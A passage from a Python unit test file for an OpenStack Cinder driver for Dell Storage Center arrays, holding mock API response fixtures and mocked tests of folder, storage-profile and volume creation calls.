u'instanceId': u'64702.6.5.3',
u'childStatus': u'Up',
u'defaultTimeToRetain': u'SECONDS_20',
u'dataDigestEnabled': False,
u'instanceName': u'iSCSI 10G 2',
u'statusMessage': u'',
u'status': u'Up',
u'transportType': u'Iscsi',
u'vlanId': 0,
u'windowSize': u'131072.0 Bytes',
u'defaultTimeToWait': u'SECONDS_2',
u'scsiCommandTimeout': u'MINUTES_1',
u'deleteAllowed': False,
u'name': u'iSCSI 10G 2',
u'immediateDataWriteEnabled': False,
u'scName': u'Storage Center 64702',
u'notes': u'',
u'mtu': u'MTU_1500',
u'bidirectionalChapSecret': u'',
u'keepAliveTimeout': u'SECONDS_30'}
CTRLR_PORT = {u'status': u'Up',
u'iscsiIpAddress': u'0.0.0.0',
u'WWN': u'5000D31000FCBE06',
u'name': u'5000D31000FCBE06',
u'iscsiGateway': u'0.0.0.0',
u'instanceId': u'64702.5764839588723736070.51',
u'scName': u'Storage Center 64702',
u'scSerialNumber': 64702,
u'transportType': u'FibreChannel',
u'virtual': False,
u'controller': {u'instanceId': u'64702.64702',
u'instanceName': u'SN 64702',
u'objectType': u'ScController'},
u'iscsiName': u'',
u'purpose': u'FrontEnd',
u'iscsiSubnetMask': u'0.0.0.0',
u'faultDomain':
{u'instanceId': u'64702.4.3',
u'instanceName': u'Domain 1',
u'objectType': u'ScControllerPortFaultDomain'},
u'instanceName': u'5000D31000FCBE06',
u'statusMessage': u'',
u'objectType': u'ScControllerPort'}
ISCSI_CTRLR_PORT = {u'preferredParent':
{u'instanceId': u'64702.5764839588723736074.69',
u'instanceName': u'5000D31000FCBE0A',
u'objectType': u'ScControllerPort'},
u'status': u'Up',
u'iscsiIpAddress': u'10.23.8.235',
u'WWN': u'5000D31000FCBE43',
u'name': u'5000D31000FCBE43',
u'parent':
{u'instanceId': u'64702.5764839588723736074.69',
u'instanceName': u'5000D31000FCBE0A',
u'objectType': u'ScControllerPort'},
u'iscsiGateway': u'0.0.0.0',
u'instanceId': u'64702.5764839588723736131.91',
u'scName': u'Storage Center 64702',
u'scSerialNumber': 64702,
u'transportType': u'Iscsi',
u'virtual': True,
u'controller': {u'instanceId': u'64702.64702',
u'instanceName': u'SN 64702',
u'objectType': u'ScController'},
u'iscsiName':
u'iqn.2002-03.com.compellent:5000d31000fcbe43',
u'purpose': u'FrontEnd',
u'iscsiSubnetMask': u'0.0.0.0',
u'faultDomain':
{u'instanceId': u'64702.6.5',
u'instanceName': u'iSCSI 10G 2',
u'objectType': u'ScControllerPortFaultDomain'},
u'instanceName': u'5000D31000FCBE43',
u'childStatus': u'Up',
u'statusMessage': u'',
u'objectType': u'ScControllerPort'}
FC_CTRLR_PORT = {u'preferredParent':
{u'instanceId': u'64702.5764839588723736093.57',
u'instanceName': u'5000D31000FCBE1D',
u'objectType': u'ScControllerPort'},
u'status': u'Up',
u'iscsiIpAddress': u'0.0.0.0',
u'WWN': u'5000D31000FCBE36',
u'name': u'5000D31000FCBE36',
u'parent':
{u'instanceId': u'64702.5764839588723736093.57',
u'instanceName': u'5000D31000FCBE1D',
u'objectType': u'ScControllerPort'},
u'iscsiGateway': u'0.0.0.0',
u'instanceId': u'64702.5764839588723736118.50',
u'scName': u'Storage Center 64702',
u'scSerialNumber': 64702,
u'transportType': u'FibreChannel',
u'virtual': True,
u'controller': {u'instanceId': u'64702.64703',
u'instanceName': u'SN 64703',
u'objectType': u'ScController'},
u'iscsiName': u'',
u'purpose': u'FrontEnd',
u'iscsiSubnetMask': u'0.0.0.0',
u'faultDomain':
{u'instanceId': u'64702.1.0',
u'instanceName': u'Domain 0',
u'objectType': u'ScControllerPortFaultDomain'},
u'instanceName': u'5000D31000FCBE36',
u'childStatus': u'Up',
u'statusMessage': u'',
u'objectType': u'ScControllerPort'}
FC_CTRLR_PORT_WWN_ERROR = \
{u'preferredParent':
{u'instanceId': u'64702.5764839588723736093.57',
u'instanceName': u'5000D31000FCBE1D',
u'objectType': u'ScControllerPort'},
u'status': u'Up',
u'iscsiIpAddress': u'0.0.0.0',
u'Wwn': u'5000D31000FCBE36',
u'name': u'5000D31000FCBE36',
u'parent':
{u'instanceId': u'64702.5764839588723736093.57',
u'instanceName': u'5000D31000FCBE1D',
u'objectType': u'ScControllerPort'},
u'iscsiGateway': u'0.0.0.0',
u'instanceId': u'64702.5764839588723736118.50',
u'scName': u'Storage Center 64702',
u'scSerialNumber': 64702,
u'transportType': u'FibreChannel',
u'virtual': True,
u'controller': {u'instanceId': u'64702.64703',
u'instanceName': u'SN 64703',
u'objectType': u'ScController'},
u'iscsiName': u'',
u'purpose': u'FrontEnd',
u'iscsiSubnetMask': u'0.0.0.0',
u'faultDomain':
{u'instanceId': u'64702.1.0',
u'instanceName': u'Domain 0',
u'objectType': u'ScControllerPortFaultDomain'},
u'instanceName': u'5000D31000FCBE36',
u'childStatus': u'Up',
u'statusMessage': u'',
u'objectType': u'ScControllerPort'}
STRG_USAGE = {u'systemSpace': u'7.38197504E8 Bytes',
u'freeSpace': u'1.297659461632E13 Bytes',
u'oversubscribedSpace': u'0.0 Bytes',
u'instanceId': u'64702',
u'scName': u'Storage Center 64702',
u'savingVsRaidTen': u'1.13737990144E11 Bytes',
u'allocatedSpace': u'1.66791217152E12 Bytes',
u'usedSpace': u'3.25716017152E11 Bytes',
u'configuredSpace': u'9.155796533248E12 Bytes',
u'alertThresholdSpace': u'1.197207956992E13 Bytes',
u'availableSpace': u'1.3302310633472E13 Bytes',
u'badSpace': u'0.0 Bytes',
u'time': u'02/02/2015 02:23:39 PM',
u'scSerialNumber': 64702,
u'instanceName': u'Storage Center 64702',
u'storageAlertThreshold': 10,
u'objectType': u'StorageCenterStorageUsage'}
RPLAY_PROFILE = {u'name': u'fc8f2fec-fab2-4e34-9148-c094c913b9a3',
u'type': u'Consistent',
u'notes': u'Created by Dell Cinder Driver',
u'volumeCount': 0,
u'expireIncompleteReplaySets': True,
u'replayCreationTimeout': 20,
u'enforceReplayCreationTimeout': False,
u'ruleCount': 0,
u'userCreated': True,
u'scSerialNumber': 64702,
u'scName': u'Storage Center 64702',
u'objectType': u'ScReplayProfile',
u'instanceId': u'64702.11',
u'instanceName': u'fc8f2fec-fab2-4e34-9148-c094c913b9a3'}
STORAGE_PROFILE_LIST = [
{u'allowedForFlashOptimized': False,
u'allowedForNonFlashOptimized': True,
u'index': 1,
u'instanceId': u'64158.1',
u'instanceName': u'Recommended',
u'name': u'Recommended',
u'notes': u'',
u'objectType': u'ScStorageProfile',
u'raidTypeDescription': u'RAID 10 Active, RAID 5 or RAID 6 Replay',
u'raidTypeUsed': u'Mixed',
u'scName': u'Storage Center 64158',
u'scSerialNumber': 64158,
u'tiersUsedDescription': u'Tier 1, Tier 2, Tier 3',
u'useTier1Storage': True,
u'useTier2Storage': True,
u'useTier3Storage': True,
u'userCreated': False,
u'volumeCount': 125},
{u'allowedForFlashOptimized': False,
u'allowedForNonFlashOptimized': True,
u'index': 2,
u'instanceId': u'64158.2',
u'instanceName': u'High Priority',
u'name': u'High Priority',
u'notes': u'',
u'objectType': u'ScStorageProfile',
u'raidTypeDescription': u'RAID 10 Active, RAID 5 or RAID 6 Replay',
u'raidTypeUsed': u'Mixed',
u'scName': u'Storage Center 64158',
u'scSerialNumber': 64158,
u'tiersUsedDescription': u'Tier 1',
u'useTier1Storage': True,
u'useTier2Storage': False,
u'useTier3Storage': False,
u'userCreated': False,
u'volumeCount': 0},
{u'allowedForFlashOptimized': False,
u'allowedForNonFlashOptimized': True,
u'index': 3,
u'instanceId': u'64158.3',
u'instanceName': u'Medium Priority',
u'name': u'Medium Priority',
u'notes': u'',
u'objectType': u'ScStorageProfile',
u'raidTypeDescription': u'RAID 10 Active, RAID 5 or RAID 6 Replay',
u'raidTypeUsed': u'Mixed',
u'scName': u'Storage Center 64158',
u'scSerialNumber': 64158,
u'tiersUsedDescription': u'Tier 2',
u'useTier1Storage': False,
u'useTier2Storage': True,
u'useTier3Storage': False,
u'userCreated': False,
u'volumeCount': 0},
{u'allowedForFlashOptimized': True,
u'allowedForNonFlashOptimized': True,
u'index': 4,
u'instanceId': u'64158.4',
u'instanceName': u'Low Priority',
u'name': u'Low Priority',
u'notes': u'',
u'objectType': u'ScStorageProfile',
u'raidTypeDescription': u'RAID 10 Active, RAID 5 or RAID 6 Replay',
u'raidTypeUsed': u'Mixed',
u'scName': u'Storage Center 64158',
u'scSerialNumber': 64158,
u'tiersUsedDescription': u'Tier 3',
u'useTier1Storage': False,
u'useTier2Storage': False,
u'useTier3Storage': True,
u'userCreated': False,
u'volumeCount': 0}]
CGS = [{u'profile':
{u'instanceId': u'65690.4',
u'instanceName': u'0869559e-6881-454e-ba18-15c6726d33c1',
u'objectType': u'ScReplayProfile'},
u'scSerialNumber': 65690,
u'globalIndex': u'65690-4-2',
u'description': u'GUID1-0869559e-6881-454e-ba18-15c6726d33c1',
u'instanceId': u'65690.65690.4.2',
u'scName': u'Storage Center 65690',
u'expires': False,
u'freezeTime': u'2015-09-28T14:00:59-05:00',
u'expireTime': u'1969-12-31T18:00:00-06:00',
u'expectedReplayCount': 2,
u'writesHeldDuration': 19809,
u'replayCount': 2,
u'instanceName': u'Name1',
u'objectType': u'ScReplayConsistencyGroup'},
{u'profile':
{u'instanceId': u'65690.4',
u'instanceName': u'0869559e-6881-454e-ba18-15c6726d33c1',
u'objectType': u'ScReplayProfile'},
u'scSerialNumber': 65690,
u'globalIndex': u'65690-4-3',
u'description': u'GUID2-0869559e-6881-454e-ba18-15c6726d33c1',
u'instanceId': u'65690.65690.4.3',
u'scName': u'Storage Center 65690',
u'expires': False,
u'freezeTime': u'2015-09-28T14:00:59-05:00',
u'expireTime': u'1969-12-31T18:00:00-06:00',
u'expectedReplayCount': 2,
u'writesHeldDuration': 19809,
u'replayCount': 2,
u'instanceName': u'Name2',
u'objectType': u'ScReplayConsistencyGroup'}
]
ISCSI_CONFIG = {
u'initialReadyToTransfer': True,
u'scSerialNumber': 64065,
u'macAddress': u'00c0dd-1da173',
u'instanceId': u'64065.5764839588723573038.6',
u'vlanTagging': False,
u'mapCount': 8,
u'cardModel': u'Qle4062',
u'portNumber': 3260,
u'firstBurstSize': 256,
u'deviceName': u'PCIDEV09',
u'subnetMask': u'255.255.255.0',
u'speed': u'1 Gbps',
u'maximumVlanCount': 0,
u'gatewayIpAddress': u'192.168.0.1',
u'slot': 4,
u'sfpData': u'',
u'dataDigest': False,
u'chapEnabled': False,
u'firmwareVersion': u'03.00.01.77',
u'preferredControllerIndex': 64066,
u'defaultTimeToRetain': 20,
u'objectType': u'ScControllerPortIscsiConfiguration',
u'instanceName': u'5000d31000FCBE43',
u'scName': u'sc64065',
u'revision': u'0',
u'controllerPortIndex': 5764839588723573038,
u'maxBurstSize': 512,
u'targetCount': 20,
u'description': u'QLogic QLE4062 iSCSI Adapter Rev 0 Copper',
u'vlanSupported': True,
u'chapName': u'iqn.2002-03.com.compellent:5000d31000fcbe43',
u'windowSize': 128,
u'vlanId': 0,
u'defaultTimeToWait': 2,
u'headerDigest': False,
u'slotPort': 2,
u'immediateDataWrite': False,
u'storageCenterTargetCount': 20,
u'vlanCount': 0,
u'scsiCommandTimeout': 60,
u'slotType': u'PCI4',
u'ipAddress': u'192.168.0.21',
u'vlanUserPriority': 0,
u'bothCount': 0,
u'initiatorCount': 33,
u'keepAliveTimeout': 30,
u'homeControllerIndex': 64066,
u'chapSecret': u'',
u'maximumTransmissionUnit': 1500}
SCQOS = {u'linkSpeed': u'1 Gbps',
u'numberDevices': 1,
u'bandwidthLimited': False,
u'name': u'Cinder QoS',
u'instanceId': u'64702.2',
u'scName': u'Storage Center 64702',
u'scSerialNumber': 64702,
u'instanceName': u'Cinder QoS',
u'advancedSettings': {u'globalMaxSectorPerIo': 512,
u'destinationMaxSectorCount': 65536,
u'queuePassMaxSectorCount': 65536,
u'destinationMaxIoCount': 18,
u'globalMaxIoCount': 32,
u'queuePassMaxIoCount': 8},
u'objectType': u'ScReplicationQosNode'}
SCREPL = [{u'destinationVolume': {u'instanceId': u'65495.167',
u'instanceName': u'Cinder repl of abcd9'
u'5b2-1284-4cf0-a397-9'
u'70fa6c68092',
u'objectType': u'ScVolume'},
u'instanceId': u'64702.9',
u'scSerialNumber': 64702,
u'syncStatus': u'NotApplicable',
u'objectType': u'ScReplication',
u'sourceStorageCenter': {u'instanceId': u'64702',
u'instanceName': u'Storage Center '
'64702',
u'objectType': u'StorageCenter'},
u'secondaryTransportTypes': [],
u'dedup': False,
u'state': u'Up',
u'replicateActiveReplay': False,
u'qosNode': {u'instanceId': u'64702.2',
u'instanceName': u'Cinder QoS',
u'objectType': u'ScReplicationQosNode'},
u'sourceVolume': {u'instanceId': u'64702.13108',
u'instanceName': u'abcd95b2-1284-4cf0-a397-'
u'970fa6c68092',
u'objectType': u'ScVolume'},
u'type': u'Asynchronous',
u'statusMessage': u'',
u'status': u'Up',
u'syncMode': u'None',
u'stateMessage': u'',
u'managedByLiveVolume': False,
u'destinationScSerialNumber': 65495,
u'pauseAllowed': True,
u'instanceName': u"Replication of 'abcd95b2-1284-4cf0-"
u"a397-970fa6c68092'",
u'simulation': False,
u'transportTypes': [u'FibreChannel'],
u'replicateStorageToLowestTier': True,
u'scName': u'Storage Center 64702',
u'destinationStorageCenter': {u'instanceId': u'65495',
u'instanceName': u'Storage Center'
u' 65495',
u'objectType': u'StorageCenter'}}]
IQN = 'iqn.2002-03.com.compellent:5000D31000000001'
WWN = u'21000024FF30441C'
WWNS = [u'21000024FF30441C',
u'21000024FF30441D']
# Used to test finding no match in find_wwns
WWNS_NO_MATCH = [u'21000024FF30451C',
u'21000024FF30451D']
FLDR_PATH = 'StorageCenter/ScVolumeFolder/'
# Create a Response object that indicates OK
response_ok = models.Response()
response_ok.status_code = 200
response_ok.reason = u'ok'
RESPONSE_200 = response_ok
# Create a Response object that indicates created
response_created = models.Response()
response_created.status_code = 201
response_created.reason = u'created'
RESPONSE_201 = response_created
# Create a Response object that can indicate a failure. Although
# 204 can be a success with no return. (Know your calls!)
response_nc = models.Response()
response_nc.status_code = 204
response_nc.reason = u'duplicate'
RESPONSE_204 = response_nc
# Create a Response object is a pure error.
response_bad = models.Response()
response_bad.status_code = 400
response_bad.reason = u'bad request'
RESPONSE_400 = response_bad
def setUp(self):
super(DellSCSanAPITestCase, self).setUp()
# Configuration is a mock. A mock is pretty much a blank
# slate. I believe mock's done in setup are not happy time
# mocks. So we just do a few things like driver config here.
self.configuration = mock.Mock()
self.configuration.san_is_local = False
self.configuration.san_ip = "192.168.0.1"
self.configuration.san_login = "admin"
self.configuration.san_password = "mmm"
self.configuration.dell_sc_ssn = 12345
self.configuration.dell_sc_server_folder = 'opnstktst'
self.configuration.dell_sc_volume_folder = 'opnstktst'
# Note that we set this to True even though we do not
# test this functionality. This is sent directly to
# the requests calls as the verify parameter and as
# that is a third party library deeply stubbed out is
# not directly testable by this code. Note that in the
# case that this fails the driver fails to even come
# up.
self.configuration.dell_sc_verify_cert = True
self.configuration.dell_sc_api_port = 3033
self.configuration.iscsi_ip_address = '192.168.1.1'
self.configuration.iscsi_port = 3260
self._context = context.get_admin_context()
self.apiversion = '2.0'
# Set up the StorageCenterApi
self.scapi = dell_storagecenter_api.StorageCenterApi(
self.configuration.san_ip,
self.configuration.dell_sc_api_port,
self.configuration.san_login,
self.configuration.san_password,
self.configuration.dell_sc_verify_cert,
self.apiversion)
# Set up the scapi configuration vars
self.scapi.ssn = self.configuration.dell_sc_ssn
self.scapi.sfname = self.configuration.dell_sc_server_folder
self.scapi.vfname = self.configuration.dell_sc_volume_folder
# Note that we set this to True (or not) on the replication tests.
self.scapi.failed_over = False
self.volid = str(uuid.uuid4())
self.volume_name = "volume" + self.volid
self.repl_name = "Cinder repl of volume" + self.volid
def test_path_to_array(self,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._path_to_array(u'folder1/folder2/folder3')
expected = [u'folder1', u'folder2', u'folder3']
self.assertEqual(expected, res, 'Unexpected folder path')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_result',
return_value=SC)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
def test_find_sc(self,
mock_get,
mock_get_result,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.find_sc()
mock_get.assert_called_once_with('StorageCenter/StorageCenter')
self.assertTrue(mock_get_result.called)
self.assertEqual(u'64702', res, 'Unexpected SSN')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=None)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_result',
return_value=None)
def test_find_sc_failure(self,
mock_get_result,
mock_get,
mock_close_connection,
mock_open_connection,
mock_init):
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi.find_sc)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=FLDR)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_201)
def test_create_folder(self,
mock_post,
mock_first_result,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._create_folder(
'StorageCenter/ScVolumeFolder',
'',
self.configuration.dell_sc_volume_folder)
self.assertTrue(mock_post.called)
self.assertTrue(mock_first_result.called)
self.assertEqual(self.FLDR, res, 'Unexpected Folder')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_first_result',
return_value=FLDR)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_201)
def test_create_folder_with_parent(self,
mock_post,
mock_first_result,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where parent folder name is specified
res = self.scapi._create_folder(
'StorageCenter/ScVolumeFolder', 'parentFolder',
self.configuration.dell_sc_volume_folder)
self.assertTrue(mock_post.called)
self.assertTrue(mock_first_result.called)
self.assertEqual(self.FLDR, res, 'Unexpected Folder')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_204)
def test_create_folder_failure(self,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._create_folder(
'StorageCenter/ScVolumeFolder', '',
self.configuration.dell_sc_volume_folder)
self.assertIsNone(res, 'Test Create folder - None expected')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_folder',
return_value=FLDR)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_path_to_array',
return_value=['Cinder_Test_Folder'])
def test_create_folder_path(self,
mock_path_to_array,
mock_find_folder,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._create_folder_path(
'StorageCenter/ScVolumeFolder',
self.configuration.dell_sc_volume_folder)
mock_path_to_array.assert_called_once_with(
self.configuration.dell_sc_volume_folder)
self.assertTrue(mock_find_folder.called)
self.assertEqual(self.FLDR, res, 'Unexpected ScFolder')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_create_folder',
return_value=FLDR)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_folder',
return_value=None)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_path_to_array',
return_value=['Cinder_Test_Folder'])
def test_create_folder_path_create_fldr(self,
mock_path_to_array,
mock_find_folder,
mock_create_folder,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where folder is not found and must be created
res = self.scapi._create_folder_path(
'StorageCenter/ScVolumeFolder',
self.configuration.dell_sc_volume_folder)
mock_path_to_array.assert_called_once_with(
self.configuration.dell_sc_volume_folder)
self.assertTrue(mock_find_folder.called)
self.assertTrue(mock_create_folder.called)
self.assertEqual(self.FLDR, res, 'Unexpected ScFolder')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_create_folder',
return_value=None)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_folder',
return_value=None)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_path_to_array',
return_value=['Cinder_Test_Folder'])
def test_create_folder_path_failure(self,
mock_path_to_array,
mock_find_folder,
mock_create_folder,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where folder is not found, must be created
# and creation fails
res = self.scapi._create_folder_path(
'StorageCenter/ScVolumeFolder',
self.configuration.dell_sc_volume_folder)
mock_path_to_array.assert_called_once_with(
self.configuration.dell_sc_volume_folder)
self.assertTrue(mock_find_folder.called)
self.assertTrue(mock_create_folder.called)
self.assertIsNone(res, 'Expected None')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_result',
return_value=u'devstackvol/fcvm/')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_find_folder(self,
mock_post,
mock_get_result,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._find_folder(
'StorageCenter/ScVolumeFolder',
self.configuration.dell_sc_volume_folder)
self.assertTrue(mock_post.called)
self.assertTrue(mock_get_result.called)
self.assertEqual(u'devstackvol/fcvm/', res, 'Unexpected folder')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_result',
return_value=u'devstackvol/fcvm/')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_find_folder_multi_fldr(self,
mock_post,
mock_get_result,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case for folder path with multiple folders
res = self.scapi._find_folder(
'StorageCenter/ScVolumeFolder',
u'testParentFolder/opnstktst')
self.assertTrue(mock_post.called)
self.assertTrue(mock_get_result.called)
self.assertEqual(u'devstackvol/fcvm/', res, 'Unexpected folder')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_204)
def test_find_folder_failure(self,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._find_folder(
'StorageCenter/ScVolumeFolder',
self.configuration.dell_sc_volume_folder)
self.assertIsNone(res, 'Test find folder - None expected')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_folder',
return_value=None)
def test_find_volume_folder_fail(self,
mock_find_folder,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where _find_volume_folder returns none
res = self.scapi._find_volume_folder(
False)
mock_find_folder.assert_called_once_with(
'StorageCenter/ScVolumeFolder/GetList',
self.configuration.dell_sc_volume_folder)
self.assertIsNone(res, 'Expected None')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_folder',
return_value=FLDR)
def test_find_volume_folder(self,
mock_find_folder,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._find_volume_folder(
False)
mock_find_folder.assert_called_once_with(
'StorageCenter/ScVolumeFolder/GetList',
self.configuration.dell_sc_volume_folder)
self.assertEqual(self.FLDR, res, 'Unexpected Folder')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=STORAGE_PROFILE_LIST)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_find_storage_profile_fail(self,
mock_json,
mock_find_folder,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where _find_volume_folder returns none
res = self.scapi._find_storage_profile("Blah")
self.assertIsNone(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=STORAGE_PROFILE_LIST)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_find_storage_profile_none(self,
mock_json,
mock_find_folder,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where _find_storage_profile returns none
res = self.scapi._find_storage_profile(None)
self.assertIsNone(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=STORAGE_PROFILE_LIST)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
@ddt.data('HighPriority', 'highpriority', 'High Priority')
def test_find_storage_profile(self,
value,
mock_json,
mock_find_folder,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._find_storage_profile(value)
self.assertIsNotNone(res, 'Expected matching storage profile!')
self.assertEqual(self.STORAGE_PROFILE_LIST[1]['instanceId'],
res.get('instanceId'))
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_create_folder_path',
return_value=FLDR)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_folder',
return_value=None)
def test_find_volume_folder_create_folder(self,
mock_find_folder,
mock_create_folder_path,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where _find_volume_folder returns none and folder must be
# created
res = self.scapi._find_volume_folder(
True)
mock_find_folder.assert_called_once_with(
'StorageCenter/ScVolumeFolder/GetList',
self.configuration.dell_sc_volume_folder)
self.assertTrue(mock_create_folder_path.called)
self.assertEqual(self.FLDR, res, 'Unexpected Folder')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'get_volume',
return_value=VOLUME)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'unmap_volume',
return_value=True)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'map_volume',
return_value=MAPPINGS)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=SCSERVERS)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_init_volume(self,
mock_post,
mock_get_json,
mock_map_volume,
mock_unmap_volume,
mock_get_volume,
mock_close_connection,
mock_open_connection,
mock_init):
self.scapi._init_volume(self.VOLUME)
self.assertTrue(mock_map_volume.called)
self.assertTrue(mock_unmap_volume.called)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_400)
def test_init_volume_failure(self,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where ScServer list fails
self.scapi._init_volume(self.VOLUME)
self.assertTrue(mock_post.called)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'unmap_volume',
return_value=True)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'map_volume',
return_value=MAPPINGS)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=SCSERVERS_DOWN)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
def test_init_volume_servers_down(self,
mock_post,
mock_get_json,
mock_map_volume,
mock_unmap_volume,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where ScServer Status = Down
self.scapi._init_volume(self.VOLUME)
self.assertFalse(mock_map_volume.called)
self.assertFalse(mock_unmap_volume.called)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=VOLUME)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_volume_folder',
return_value=FLDR)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_201)
def test_create_volume(self,
mock_post,
mock_find_volume_folder,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.create_volume(
self.volume_name,
1)
self.assertTrue(mock_post.called)
self.assertTrue(mock_get_json.called)
mock_find_volume_folder.assert_called_once_with(True)
self.assertEqual(self.VOLUME, res, 'Unexpected ScVolume')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_storage_profile',
return_value=None)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_volume_folder',
return_value=FLDR)
def test_create_volume_storage_profile_missing(self,
mock_find_volume_folder,
mock_find_storage_profile,
mock_close_connection,
mock_open_connection,
mock_init):
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi.create_volume,
self.volume_name,
1,
'Blah')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=VOLUME)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_storage_profile',
return_value=STORAGE_PROFILE_LIST[0])
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_volume_folder',
return_value=FLDR)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_201)
def test_create_volume_storage_profile(self,
mock_post,
mock_find_volume_folder,
mock_find_storage_profile,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
self.scapi.create_volume(
self.volume_name,
1,
'Recommended')
actual = mock_post.call_args[0][1]['StorageProfile']
expected = self.STORAGE_PROFILE_LIST[0]['instanceId']
self.assertEqual(expected, actual)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_search_for_volume',
return_value=VOLUME)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=None)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_volume_folder',
return_value=FLDR)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_201)
def test_create_volume_retry_find(self,
mock_post,
mock_find_volume_folder,
mock_get_json,
mock_search_for_volume,
mock_close_connection,
mock_open_connection,
mock_init):
# Test case where find_volume is used to do a retry of finding the
# created volume
res = self.scapi.create_volume(
self.volume_name,
1)
self.assertTrue(mock_post.called)
self.assertTrue(mock_get_json.called)
mock_search_for_volume.assert_called_once_with(self.volume_name)
mock_find_volume_folder.assert_called_once_with(True)
self.assertEqual(self.VOLUME, res, 'Unexpected ScVolume')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=VOLUME)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_volume_folder',
return_value=None)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_201)
def test_create_vol_folder_fail(self,
mock_post,
mock_find_volume_folder,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
# Test calling create_volume where volume folder does not exist and
# fails to be created
res = self.scapi.create_volume(
self.volume_name,
1)
self.assertTrue(mock_post.called)
self.assertTrue(mock_get_json.called)
mock_find_volume_folder.assert_called_once_with(True)
self.assertEqual(self.VOLUME, res, 'Unexpected ScVolume')
